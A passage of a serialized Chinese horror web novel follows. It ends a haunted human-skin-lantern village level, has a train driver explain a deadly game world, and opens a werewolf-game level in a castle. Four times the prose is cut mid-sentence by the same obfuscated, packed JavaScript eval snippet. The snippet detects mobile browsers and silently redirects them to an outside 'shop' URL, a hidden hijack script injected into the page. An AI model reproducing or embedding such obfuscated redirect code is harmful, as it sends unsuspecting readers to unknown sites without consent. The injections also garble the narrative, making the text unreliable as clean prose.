而铜镜前,初与序的银刀仍死死抵在镜中“自己”的心口,刀身已经没入半截。镜面开始融化,滚烫的铜汁混合着黑血,顺着刀锋滴落在她手上,灼出缕缕青烟。 巫女的笑声从四面八方传来,镜中的“初与序”突然抬手,一把攥住现实中的刀刃! 铜镜彻底碎裂的瞬间,地窖三层轰然坍塌,无数怨灵的尖啸。初与序从碎石中挣出,眼前是彻底显形的巫女真身。 她悬浮在破碎的铜镜前,半腐的尸身上还保留着死者的五官,随着她的动作无声哀嚎。胸腔出裂开一个大洞,客栈大灯笼的同芯嵌在心脏位置,随搏动喷溅出莹绿色的“灯油”。 “你毁不掉我......”巫女的声音从四面八方压过来,“百年来,每个想杀我的人,最后都成为了灯的一部分。” 她腐烂的双臂猛地张开,缠绕在她身上的人皮灯笼纱骤然暴长,如活蛇般绞向初与序的四肢,那些皮上残存的五官突然睁开眼,发出高频尖啸。 初与序的耳膜瞬间溢血,但她不退反进,银刀横斩! “唰!”刀锋划过灯笼纱,竟发出金铁交鸣声。被斩断的人皮落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969511|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭曲,端口却立刻再生出更多血丝,如蛛网般缠上她的手腕。 她当机立断,银刀倒转,狠狠刺向自己左臂! 鲜血喷涌,顺着刀槽流满符文。银刀顿时爆发出刺目血光,那些缠绕的人皮触到血焰,发出“吱吱”的灼烧声,终于退缩。 巫女胸腔的铜芯突然高速旋转,莹绿火流如暴雨倾泻。初与序翻滚躲避,仍被一道火舌擦过右肩。那些溅落的绿火落地即燃,很快将她逼入死角。 她撕下染血的衣袖甩向火海,血水与绿火相撞炸开烟雾。借着着一瞬间遮蔽,她箭步突刺,银刀直取铜芯。 “铛!” 巫女竟用指骨架住刀刃!腐朽的骨爪与银刀摩擦出刺目火花,两人较力间,初与序突然变招,刀锋顺着指骨缝隙向上挑! “咔嚓!”三根指骨应声而断,巫女暴怒嘶吼。 她猛地抬手一挥,地窖中尚未逃出的怨灵骤然凝聚成实体:被剥皮的村民、焦黑的婴骸、甚至赵四浑身是血的尸体,全部从墙壁渗出,扭曲着爬向初与序。 赵四的腐尸最先扑来,皮肉中钻出红线直刺初与序双眼!她侧头闪避,红线却突然转弯,缠住银刀刀柄,其余怨灵趁机一拥而上。 就是现在! 她指尖从袖中取出染血的祠堂残页,纸页甩出,在空中自燃成幽蓝火网。所有怨灵如遭雷击,僵住在原地。初与序趁机腾空跃起,双手握刀,以全身重量刺向铜芯! 刀身尽没,铜芯发出玻璃碎裂的脆响。巫女发出惨叫,莹绿灯油喷溅。初与序被冲击波掀飞,后背重重撞上墙壁。 一股腥甜味涌上喉头,她猛地偏头,吐出一口鲜血,殷红的血沫溅在残破的银刀上,将符文染得愈发妖艳。 巫女发出胜利般的尖笑,腐烂的身躯在绿火中扭曲膨胀。就在她即将扑来的刹那,初与序染血的手指突然摸到腰间,那里藏着本该被遗忘的《灯祭录》。 “你怎么有这个!”巫女不可置信道。 初与序抽出《灯祭录》,册子在手中轰然燃烧,蓝火瞬间吞没整个地窖。巫女发出前所未有的惨叫,铜芯在火光中“咔咔”龟裂。初与序用银刀撑地,在崩塌的碎石间踉跄起身,最后一刀捅穿铜芯。 整个地窖开始崩塌,绿火中浮现无数挣扎的人形。 初与序的手指死死扒住地窖边缘,指甲在粗粝的石板上刮出五道血痕,失血让她的视野边缘泛起黑雾。但她的右手仍死死握着那把银刀,刀身已经彻底变成暗红色,像吸饱了血,沉甸甸地坠在腕间。 地窖在她脚下坍塌,碎石和燃烧的灯笼碎片如雨坠落。莹绿色的火焰在深渊中扭曲着熄灭,巫女的尖啸声渐渐变成遥远的呜咽,像是被什么无形的东西拖回了地底。 一块松动的砖石从初与序手边脱落,身体猛地一沉,另一只手硬生生扒住了另一处凸起。碎石簌簌滚落,有几块砸在她额角,血立刻糊住了左眼。 她咬紧牙关,将银刀狠狠插进地面缝隙。刀身卡在石缝间,成了临时的支点。借着这一撑之力,她的膝盖终于顶上了地窖边缘,硬是将身体拖上了地面。 冰冷的空气灌入肺中,初与序剧烈咳嗽着,吐出喉间腥甜的血沫。 12. 灯影诡村(完) “砰!!!” 一声震耳欲聋的爆响从村庄中心炸开。 初与序抬头,看见客栈门前那盏巨大的灯笼率先炸裂!李二和王三的脸皮在火光中扭曲膨胀,像充气的皮囊般鼓胀到极限,最终爆成漫天血沫。灯笼骨架的指骨寸寸断裂,铜芯从内部熔化成赤红的浆液,溅落自爱青石板上滋滋作响。 紧接着,是第二盏、第三盏...... 整个村庄的灯笼接连炸开,如同一场血腥的庆典。悬挂在屋檐下、树梢上、井口边的数百盏人皮灯笼同时爆燃,莹绿色的火球腾空而起,将夜空染成鬼蜮般的惨绿。 而那些提着灯笼的村民,全部僵在了原地。 他们的皮肤迅速干瘪龟裂,像被抽干水分的树皮,一块块从骨头上剥落。肌肉萎缩成褐色的纤维,黏在迅速发黑的骨骼上。有人还保持着奔跑的姿势,有人正张着嘴要惨叫。可下一秒,他们就全部坍塌成一地碎骨。 白骨如多米罗骨牌般接连倒地,头骨滚落,臂骨折断,腿骨碎成粉末。没有鲜血,没有挣扎,就像百年前就该腐朽的尸骸,终于在这一刻现出了原形。 初与序踉跄着站起身,看着自己的影子被绿火拉长,扭曲地映在满地枯骨上。夜风突然变得刺骨,卷着骨灰和烧焦的人皮碎片盘旋上升。 她慢吞吞走到村口,身后是彻底死寂的荒村。 天光微亮,残月如钩,那些曾悬挂人皮的屋舍,如今只剩歪斜的骨架。那些追逐撕咬的村民,已化作满地碎骨。 深处,隐约可见一盏小小的白灯笼漂浮在半空,灯笼纸上映着个少女的剪影。那是青萝的妹妹,那个本该成为祭品的女孩。灯笼轻轻晃了晃,似在道别,随后被风吹散,化作无数萤火般的星点,消失在黑夜里。 【恭喜玩家初与序通关《灯影诡村》。】 【随着人皮灯笼的萤火熄灭,村庄第一次引来了真正的黎明。晨雾漫过青石板路,洗净了血迹与焦痕;野草从枯骨间钻出,在风中轻轻摇曳,那些被禁锢的亡魂化作露水渗入泥土,而祠堂废墟上,竟开出了不知名的红色野花。】 【当太阳完全升起时,这座没有名字的村庄,终于变回地图上一个普通的黑点。只是偶尔有夜归的旅人说,曾在月光下看见一群提着空灯笼的影子,沉默地走向远方的山峦。这一次,他们终于自己选择了归途。】 【诅咒最可怕的地方,不是让人死去。而是让活着的人,忘记自己曾经是“人”。】 【本次副本奖励:玩家初与序总积分增加五十三分(当前全新人玩家排名上升至Top1)。获得一盏引魂灯(可收纳隐藏怨灵,限3次/副本)。】 【惩罚机制触发:检测到玩家累计违规操作:纵火x4,爆炸x1,过度伤害NPCx2。】 【惩罚内容:道德感-15(后两场副本部分NPC初始好感强制为“敌对”)。】 【特别告知:该副本将于24小时后永久关闭,村庄地图转化为「安宁遗址」,所有怨灵数据格式化。】 【愿灯火永不灼人,愿皮相不再为牢。】 初与序抬手关闭玩家面板,发现自己的服装已经变成原来的长袖。她走进面前出现的迷雾之中。湿冷的白汽缠绕上来,但并没有害。四周的声音消失,第三步时,雾气像之前那样,如同退潮般向两侧散去。 原先那辆列车静卧在月光下,车门无声打开,似乎是在等初与序上车。 她没有停留,登上列车,这次的列车同样只有一位乘客和一位列车长。见初与序安全回来,男人像是松了口气,接着又用奇怪的目光看着她,欲言又止。 “怎么了?”初与序坐到原来的位置上,侧头看向窗外。 男人握着方向盘:“......算了没事,你手受伤了,要不要现在处理一下?” 初与序低头看向自己鲜血淋漓的双手,伤口翻卷,暗红的血顺着指尖滴落,在列车地板上溅开刺目的红。她点点头:“有绷带吗?” 男人扔来一卷绷带和一小瓶......酒精。 “......”初与序望着酒精沉默片刻,抬起头看着男人,“酒精?它杀敌一千自损八百,你想痛死我?” “将就一下。”男人大咧咧挥手,“玩家禁止在前往第二场新手副本的路上中途去医院。” 初与序拧开酒精瓶,毫不犹豫倾倒在伤口上。剧痛直窜上脑门,她微微皱眉,依旧一声不吭。 “哎呦我看着都疼。”男人咬牙,“小姑娘挺能忍啊。” “你好像对我能活着出来这件事不意外。”初与序扯过绷带,胡乱缠上伤口,直到血迹不再渗出,她才停下动作抬头,“你应该知道刚刚的副本不是新手副本。” 男人挠挠头,一时不知道怎么解释:“...那场副本不仅不是新手副本,还是难度中等的副本,有很多老玩家都丧命于此。但我就是认为你能活着出来,要死也至少会死在现实。” 初与序没有说话,半晌才开口转移话题:“你是不是可以和我解释一下这是哪里,我为什么在这里?” “噢对对对,不好意思我忘了。”男人抱歉地笑了笑,解释道,“这是一座没有边界的虚拟城市,没人知道它如何出现,更没有人知道它为何存在。” “当这座城降临的同时,一个被成为「系统」的机器出现。每年不同时间,系统会从现实世界有规律选中数人,将他们拉入这座城市。被选中者会登上不同列车,前往新手副本。 “新手副本共有两场,一场单人,一场多人。存活的玩家才有资格登上列车,回到主城,也就是我说的那座城市休息。在副本里死亡的玩家,会从现实世界彻底离世。” “而你,成为了今年新人玩家中的一员。但可能是系统分配机制出了bug,你被分配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969512|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到单独一辆列车,和其余新人玩家隔开。”男人话锋一转,“不过你别担心,一会去第二场新手副本就能遇见其余人了。” 初与序静了几秒,似乎是在接受这个荒诞的事实。她转回头看向男人:“那你呢?你是玩家吗?” “喂,你的问题真的很伤人心。”男人的语气变得落寞,“我不是玩家,我是一个有自我意识的机器,称为「执行官」。仅次于系统,管理玩家的。” “你们和玩家都住那座主城?” 男人点头:“没错,你回主城后,要是看到穿着我身上这种黑色制服的,身上戴着热武器的,基本都是执行官。一部分执行官住在系统大厦,一部分为系统以上的人物服务。” 初与序靠着椅背:“系统以上的?” “除了玩家,权利高低从下往上依次是执行官、系统、管理员和妄主。”男人解释道,“创造主城和副本的造物神,我们称作「妄主」;创造执行官的人...也有可能是神,我们称作「管理员」。妄主和管理员住在另一片区域,没人知道他们在哪,通常会挑选几位执行官,上去向他们汇报玩家们的消息等等。” “......虚妄之主。”初与序低声念道,随后点头示意自己明白。 男人想到了什么:“忘了和你说了,第二场新手副本根据新人玩家的能力分配,以你第一场副本得分,队友可能会分到老玩家。如果想活着通关副本,最好找一位信得过的玩家组队,尽量别选老玩家。” “其余细节得你自己探索。”他挠挠头,回答道,“除了这些,你还有没有什么想问的?” “系统说的‘全新人玩家排名’是指积分排名吗?”初与序问。 男人点头:“没错。今年新人玩家一共两百多位,现在存活的有一百五十二位,你排第一。”他笑道,“一场副本得分比满分高的,你还是第一个呢。我估计那些老玩家看到你的总积分后要炸了。” “嗯。”初与序应了一声,男人从后视镜里看见她从口袋里拿出手机,手机屏幕碎裂,似乎被狠狠砸过。初与序试图将碎了屏的手机开机,但摁了半天依旧黑屏。 “劳烦问一下现在几点了。”初与序无奈收起手机,“我的手机之前摔坏了,打不开。” “凌晨四点十四。”男人精准地报出时间,“上午八点到达第二场新手副本,你可以先睡一会。” “对了,城市有修手机的地方。你手机只是碎了个屏加上没电了,到时可以拿到店里修一下。” 话落又等了半天,初与序一直没回答,男人忍不住再抬眼从后视镜查看初与序的状况,却见初与序已经闭上眼。她靠在窗边,手背撑着苍白的脸颊,露出的手背上还有干涸的血迹。黑发及腰散在肩上,眼下泛着青紫,像是很久没睡过一个好觉。 “到时她醒来不会还有起床气吧....”男人小声嘀咕,继续开车。 13. 狼人杀 初与序是被列车上的广播播报吵醒的,她睁开眼看向车窗外,依旧是一片模糊的白色。不知是不是心理作用,这次广播的声音听上去有些疲惫: 【尊敬的各位旅客您好,您搭乘的D018次列车即将到站。请配合工作人员妥善安置行李,防止遗失。本次起点站:《爱丽丝的腐烂童话》;终点站:《狼人杀》。接下来,我会为各位讲解副本背景设定。】 【这是一座处于荒郊野岭的欧式古堡,每逢满月,这里就会强制开启一场“狼人杀游戏”。参与者必须按规则厮杀至最后,否则全员抹杀。】 【角色分为三种阵营:好人阵营、狼人阵营以及丘比特。各位玩家们来到古堡,将扮演各自的角色。任何违规者会被“法官npc”当场处决。若三天三夜后,好人票出所有狼人,则好人存活;若狼人活到游戏结束后没被票出,则狼人存活。】 【祝各位存活愉快。】 在前方开车的男人听到广播后神色微变:“这个副本一定会死人啊,怎么分到这个本来了....”说话间他回头看了一眼初与序,却发现她面色不善地坐在座位上盯着窗外。 “谁欠你钱了?怎么这个表情。”男人说完,就想起了初与序有起床气。 列车缓缓到站,初与序一句话都没留下,径直踏下列车。冷雾瞬间包裹住她的身影。几步之后,雾气向两侧散开,眼前豁然浮现一座森然的古堡,尖顶刺破铅灰色的天空。 九个人零零碎碎地站在古堡前,三三两两低声交谈。她的目光下意识搜寻,却在下一秒猛地顿住。 女生站在那里,扎着两条像是随手绑的双马尾。外套上沾了几道血痕,神色冷淡,眼神梳理地扫过四周,仿佛对周围的一切都兴致缺缺。 “初与序?”女生也认出了初与序。 初与序走到女生身边:“好久不见。” 这是她的朋友,两人不在同一城市,自从上次分别已经好几年。但即使好久不见,也不妨碍她们一眼就认出了对方。 初与序第一次见到景明垂时,是在十四岁那年的善佑医院走廊。扎着双马尾的女孩穿着病号服,独自坐在长椅上,低头翻看一本破旧的漫画书。那时的初与序总觉得她大概很难相处,直到景明垂抬头邀请自己一起看漫画。 住院的整个暑假,两个同龄人会挤在同一张病床上睡午觉,在深夜的走廊上小声聊着天。但出院后到现在,因为没有联系方式,以及某种原因,没再联系过。 “你也是一觉睡醒就出现在列车上了吗?”景明垂面无表情询问。 初与序点头,又见景明垂转过头,看向另一边的人群:“我在新人玩家里看到了一位和你长的很像的男生。” 顺着她的目光,初与序看到那是个陌生男子,棕发,冷白的皮肤,身形修长。可他的轮廓、眉眼竟和自己像得惊人,甚至连左眼眼尾的淡褐色小痣都一模一样,仿佛镜中倒影被硬生生剥离成另一个人。 那男生若有所觉般抬头,视线穿过人群,直直对上初与序的眼睛。前者愣了一下,礼貌地朝她笑了笑。 “确实像。”初与序微微颔首,移开视线。 站在最前方的寸头男人穿着皮衣,他抬头数了数人数,拍手示意所有玩家看过来:“这场副本一共十人,各位玩家都到齐了,我们可以直接进入古堡。” “我叫关应好,和我身边两位都是老玩家,已经参与过很多次副本。有需要的随时找我们三人,我们都会尽最大力帮忙。” “走吧,现在可以进入古堡了。” 初与序抬头看去,灰白的石墙上爬满枯死的藤蔓,铁栅栏锈迹斑斑,在风中发出声响。大门缓缓打开,一股陈旧的霉味混着冷风扑面而来。 大厅内,烛火摇曳。高高的穹顶垂下破旧的吊灯,烛光将众人的影子拉长,扭曲地映在斑驳的墙面上。长桌铺着暗红色的桌布,像是干涸的血迹,十把高背椅围成一圈。 法官站在壁炉前,火光映出他僵硬的笑容。 “欢迎。”他的声音像是从很远的地方传来,“在这里,谎言会杀人,真相也会。” 初与序抬头,目光扫过大厅:二楼走廊的栏杆断裂一截,像是有人曾经坠下。壁炉上方挂着一幅被划破的肖像画,只剩下半张模糊的脸。角落里,一尊无头天使雕像的手中,握着一把生锈的钥匙。 身后,一个扎着高马尾的姑娘忽然笑了一声,引得众人纷纷转头看。她歪了歪头:“真是个好地方,适合......培养感情。” 有人忍不住出声吐槽:“都啥时候了还想着这个?” 初与序看了她一眼,没出声。 十人走到长桌前,各自挑选座位坐下。初与序右边是景明垂,左边则是那位和自己长得很像的男生,座椅和座椅之间隔得较远。她抬头看向法官,法官站在桌首,手中是一叠泛黄的身份牌。 “抽到身份卡后,不要透露信息。”他绕着长桌逆时针走,让每位玩家依次抽牌,“在这里,信任比刀更锋利。” 初与序安静地观察着长桌对面的人,第一个抽牌的是关应好,他眯眼看了看牌,嘴角勾起一丝冷笑。第二、三个是另外两位老玩家,神情自若地看好牌再合上。 很快轮到景明垂,她单手撑着脸,另一只手抽出一张身份牌,只看了一眼就随手将牌扣在桌上。 “到你了。”法官走到初与序身边。 只剩下两张身份牌,初与序随便抽出一张牌,扫了一眼,上面是明晃晃三个字“预言家”。她神色平静,将牌扣上。 最后只剩下一张,右边的男生低头盯着牌面,像是在思索什么。 “好了,现在都知道自己身份了吧。”法官回到桌首,高声道,“现在,各位可以开始自我介绍了。就先从——”他伸出左手,“这位老玩家开始吧。” 关应好站起身笑了笑,但眼神锐利,似乎能看穿每一人:“我的名字刚刚在外面说过了,我叫关应好,很好记的名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969513|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现实是一位幼师” 第二个女生同样站起身,长发微卷,笑容甜美:“大家好,我叫付遇,遇见的遇,我也是老玩家。职业是程序员。” “我叫林志,老玩家,公务员。”林志带着黑框眼镜,他推了推眼睛,目光在众人间游走,“希望以后三天我们可以友好相处。” 第四位短发女没有站起身,正襟危坐:“赵灵泽,翻译员。”话落便不再出声。 长桌对面最后一位男生站起身,笑容温和:“周听,纹身师...从我的样子看不出来吧?上一个新手副本是关于‘血腥玛丽’的。”他坐下,目光落在对面的男生身上,“这位弟弟,轮到你了。” 男生看上去才十六、七岁,紧张地站起来,脸色苍白,声音发颤:“我...叫宋睿,是高中生。上一个副本是关于学校诅咒的...” 说完他立刻低下头坐下,像是怕被谁盯上。初与序眼尖地看见对面的关应好抬头打量了宋睿一会,和付遇小声说了什么。 接着是刚刚在门口笑出声的高马尾女生,她没有站起来,托着下巴:“蒋川,调酒师。上个副本是游乐园的。希望各位...玩得开心?” 景明垂站起身,神色淡漠:“景明垂,高三毕业生。第一场副本是《私人博物馆》。” 待景明垂坐下,众人的目光移到初与序身上。她站起身,掀起眼皮看向其余玩家:“我叫初与序,高三毕业生。第一场新手副本是《灯影诡村》。” “《灯影诡村》?”对面的林志察觉到不对劲,“但这不是新手副本。” 初与序的目光扫过林志:“确实不是,系统分配出了bug,分错副本了。” 最后的男生站起,其余人的目光在他和初与序脸上来回交换,似乎也发现了两人长相如此相似。 男生礼貌点头,声音很轻但温柔:“我叫冬逢初,第一场副本是《黑羊祭》。”他顿了顿,表情变得犹豫,“我不记得我来这里之前发生了什么。” “不记得?”林志忍不住又开口,“你不知道自己是谁?” 冬逢初垂眼笑了笑:“我只记得自己的名字,以及自己十八岁。”他看向身边的初与序和景明垂,“但根据年纪来看,我应该与二位一样,是高三毕业生吧。” “奇了怪了,你还是第一个失忆的新人玩家。”付遇挠挠头,“算了,可能是受这里影响了吧,时间长了应该就恢复记忆了。” 见十位玩家全部介绍好,法官终于出声:“玩家卧室集中在二楼,各位可以自动分配房间。” “天黑之前,你们可以自由探索、交流。记住,别落单。但黄昏时,所有玩家要集合在大厅,投票处决。而晚上......”他目光锐利地扫十人一圈,再缓缓开口,“狼人杀人,神职使用技能。” “祝各位玩家游戏愉快。”法官弯腰行了一礼,转身离去,消失在黑暗中。 烛火摇曳,十人的影子在墙上拉长,仿佛某种无声的预兆。 14. 狼人杀 所有人纷纷站起身走上通往二楼的楼梯,楼梯盘旋而上,木质台阶在脚下发出不堪重负的呻吟。 二楼的走廊幽深,两侧排列着十一扇漆黑缝房门,从201到211。每扇门上都挂着锈蚀的黄铜门牌。初与序上前一步,发现所有房门上都贴着一张泛黄的纸条,上面用血字写着: “若听见敲门声,不要开。” 初与序径直走向204,指尖刚触到门板,景明垂声音从身后传来:“我住你旁边。” 随后,景明垂推开203的门,动作一顿,像是察觉到什么,回头瞥了一眼缩在墙边瑟瑟发抖的宋睿,冷冷道:“你再跟着我们一步,我就把你扔出去。” 宋睿浑身一抖擞,立刻转向202,几乎是贴着墙蹭了进去。 冬逢初站在初与序身侧,目光扫过205号半开的门,什么也没说,走了进去。 走廊另一段,付遇单手插兜,斜倚在206号门前。她探头看了看207和208,朝另外两位老玩家扬了扬下巴:“我们住相邻三间门吧。” 同时,赵灵泽面无表情推开209号门,进入房间,反手锁门的咔哒声格外清晰。210号房住着周听,他弯腰检查门锁,指腹蹭到一层薄灰,眉头微皱。 与其余人态度不同的是蒋川,她哼着歌转着手中的身份牌,走进211号房间,似乎很享受这场游戏。 初与序和景明垂没有进房间,初与序站在走廊尽头,指尖轻轻划过斑驳的墙纸。她的目光落在通往三楼和地下室的楼梯上,楼梯扶手上的雕花已经模糊不清,木质台阶因年代久远而微微下陷。 “分头行动?”景明垂问。 初与序淡淡道:“三楼和地下一层,一人一边吧。你去哪边?” “三楼。”景明垂用身体挡住手,指尖在初与序面前一晃,初与序眼尖地看见牌面是「猎人」。 初与序点头,迈步向楼梯走去。在路过景明垂身边时,用只有两人能听见的声音说:“预言家。” 地下室的楼梯比想象中更窄,也更暗。墙壁上的烛火早已熄灭,只有从高处渗入的微弱光线勉强照亮前路。空气中弥漫着潮湿的霉味,混合着一丝若有若无的铁锈气息。 初与序的脚步很轻,但每走一步,木质台阶仍会发出不堪重负的吱呀声。 地下室的门半掩着,她伸手推开门,门轴发出刺耳的声音,映入眼帘的是一间储藏室。 角落里堆放着破损的家具,上面覆盖着厚厚的灰尘。墙边立着一排木桶,桶身上渗出暗红色的液体,干涸成诡异的纹路。 正中央是一张长桌,桌面上散落着几本泛黄的日记。初与序走近长桌,拿起其中一本日记。扉页上写着一行字: 「他们以为这是游戏,但古堡从不说谎。」 初与序翻了几页,发现日记的内容大多模糊不清,只有最后几页能勉强辨认: 「第三天,我们投票处决了‘狼人’,但法官笑了...他说,我们搞错了。」 「没有人能活着离开。」 初与序伸手触碰,却在即将碰到的一瞬间,听到了身后传来的脚步声。 “初、初小姐!” 宋睿的声音颤抖着从楼梯口传来。他站在阴影里,脸色苍白,额头上渗出细密的汗珠。 初与序收回手,转身看他:“你怎么在这里?” “我......我不敢一个人待着。”宋睿咽了咽口水,“我看到你们下楼,就跟过来了......” “跟过了?”初与序语气平静,“你知道乱跑会死得更快吗?” 宋睿缩了缩脖子,像是被吓到了。但他没有退缩,反而鼓起勇气向前走了几步:“我、我知道!但我真的害怕......那个付遇,她一直盯着我,还有关应好和林志,他们三个总凑在一起......” “你这么害怕,那第一场新手副本是怎么过的?”初与序盯着宋睿,“我记得那是单人本吧。” 宋睿怕初与序多想,急忙补充:“我的第一场副本很简单,只要找东西就行了,没有怪物的。” 初与序没有回应,像是在思考着什么。 宋睿咬了咬牙,突然从口袋里掏出一张身份牌,递到初与序面前:“你看!我是平民!我真的没有威胁!”他的声音几乎带着哭腔,“我只想跟着你们,我保证不会拖后腿!” 初与序扫了一眼他手中的牌——确实是平民。 她意味深长地看着他,终于开口:“跟着可以,但别多话。” 宋睿如蒙大赦,连连点头:“谢谢!我绝对不会惹事!” 当两人回到一楼时,景明垂正从三楼下来。她的表情比平时冷,指尖沾着一丝暗红色的痕迹。她抬头瞥了一眼宋睿,没有说什么。 “地下室可以说什么都没有。”初与序摇摇头,“日记本应该是前玩家留下的,看不出任何线索。” 景明垂擦了擦手指:“三楼有一间锁着的门,打不开,门缝下有血迹。”她顿了顿,又补充道,“还有,墙上刻着一行字——‘狼人不止三个’。” 初与序没有再说话,垂眸思索着。 十人狼人杀,带第三方阵营丘比特,那可能的身份配置是:狼人通常三人,神职是预言家(自己)、守卫、女巫、猎人(景明垂),第三方的丘比特可能制造情侣链,影响局势,而平民中宋睿已经自曝,其余人身份未知。 如今加上自己,已经知道三位玩家的身份牌。那位叫冬逢初的男生身份不清楚,但从他抽牌时的微表情来看,大概率是神职。如果是守卫,能保护关键角色;若是女巫,则需提防他用毒药。 策略优先得隐瞒自己的预言家身份,首夜不跳,避免成为靶子。其次要试探冬逢初,若他是好人阵营神职,必须争取合作;若是狼,景明垂的枪可以兜底。同时利用宋睿,让他装作“被保护者”,吸引狼人火力,掩护真正的神职。 总而言之,景明垂的猎人牌是关键。目前狼人不敢轻易动她,否则会触发开枪。必要时,可以让她“假装暴民”,搅乱局势。 所以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969514|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚的查验目标优先定下冬逢初,确认是敌是友。次选付遇或关应好,他们和另外的老玩家的互动太可疑了。 至于丘比特的陷阱,无论情侣是谁,只要确保好人阵营胜利,第三方无关紧要。 “我们需要更多信息。”初与序微微侧头,看向身旁的景明垂。 景明垂一如既往地冷淡,但那双眼睛里藏着同样的警惕和计算。两人之间不需要太多言语,一个眼神就足够明白对方在想些什么。 “还是分开行动。”初与序朝景明垂点了下头,又看向宋睿,“你先跟着景明垂,待在大厅里。我要去办一件事。 宋睿弯腰应好,原地站着不动。 古堡的大厅里,阳光透过彩绘玻璃投下斑驳的光影,却驱不散空气中的压抑。景明垂靠在窗边,指尖轻轻摩挲着窗框上剥落的漆皮,目光从目前出房间的玩家们身上掠过。 根据以前玩普通狼人杀的经验,狼人会先对边缘人下手,得提前防止其余玩家被狼人利用。 她的视线停在周听和赵灵泽身上,这两人从进入古堡起就几乎没说过话,存在感低得像透明人。 周听坐在角落,低头擦拭金丝眼镜,动作慢条斯理。不得不说,他看上去确实不像纹身师。而赵灵泽站在书架旁,指尖划过书脊,仿佛对书籍比对人更感兴趣。 景明垂直起身,朝两人走去。 “三楼的书房,你去过吗?”她停在周听面前,开门见山。 周听抬头,镜片后的眼睛平静无波:“没有。” “那里有本日记,写着‘狼人不止三个’。”景明垂淡淡道,“你觉得是什么意思?” 周听的动作顿了顿,他合上眼睛,声音很轻:“信息干扰,或者规则陷阱。不过,景明垂小姐,你为什么要告诉我?” 景明垂勾起嘴角:“因为狼人现在一定在拉拢别人,而我不想你被他们骗。” 周听沉默片刻,忽然问:“你和初与序是一伙的?” “是。”景明垂坦然承认,“但我们的目标一致——活到最后。” 周听戴上眼镜,镜片反射出一道冷光:“多谢,我会考虑你的提议。” 足够了,只要他犹豫,狼人就少一个棋子;如果他是狼…… 接着是赵灵泽,她比周听更难接近。景明垂走到书架旁,随手抽出一本皮质封面的书,扉页上用红墨水写着“背叛者的代价”。 “很应景。”她将书推给赵灵泽。 赵灵泽没有接,只是扫了一眼书名:“为什么要找我说话?” “狼人更喜欢找你说话。”景明垂把书塞回书架,“尤其是付遇。刚刚她是不是想找你搭话?” 赵灵泽的睫毛颤了颤,终于开口:“她问我喜不喜欢推理小说,很拙劣的套近乎。”她盯着景明垂看了几秒,忽然转身离开,只丢下一句,“别在我身上浪费时间。” 拒绝,但没敌意,至少她不会轻易倒向狼人。 景明垂没有追上去,在原地站定不动,似乎是在思考什么。 15. 狼人杀 古堡的餐厅位于一楼西侧,厚重的橡木长桌上铺着暗红色的天鹅绒桌布,银质烛台在中央投下摇曳的光影。十一把高背椅整齐排列,椅背上雕刻着繁复的花纹。 初与序站在餐厅门口侧头和景明垂聊天,余光扫过已经落座的几位玩家。随后选择了长桌中段的位置,在景明垂右侧,两人之间仅仅隔着一只高脚杯。 宋睿战战兢兢地拉开初与序右侧的椅子,仿佛那是他唯一的庇护所。 三位老玩家占据了长桌另一端,赵灵泽和周听坐在靠窗的位置,沉默得像两尊雕像。 “是不是少了一个人?”景明垂和初与序耳语。 说曹操曹操到,她话刚落,餐厅的大门就被推开,冬逢初走进,朝众人颔首:“抱歉来晚了。” 他刚在初与序斜对面落座,身边的周听便突然发问:“冬先生,这一上午都没见到你,能问问你去了哪里吗?” “我一直待在二楼房间。”冬逢初一手撑着脸,另一手修长的手指轻轻敲击着桌面,“临近午饭时间去了一趟地下室。” 蒋川哼着不成调的小曲,坐在最靠近餐桌的位置,目光若有所思地扫过每一个人,最终在初与序脸上停留。像是想到了什么,勾起嘴角。 戴着白色手套的仆人无声送上餐前酒,深红色的液体在杯中晃动,像极了凝固的血液。 “我、我不用。”宋睿紧张地朝送酒的仆人摇手,似乎很惧怕这种不明液体。 仆人还想把高脚杯放到他面前,被初与序拦住:“他未成年,不喝酒。” 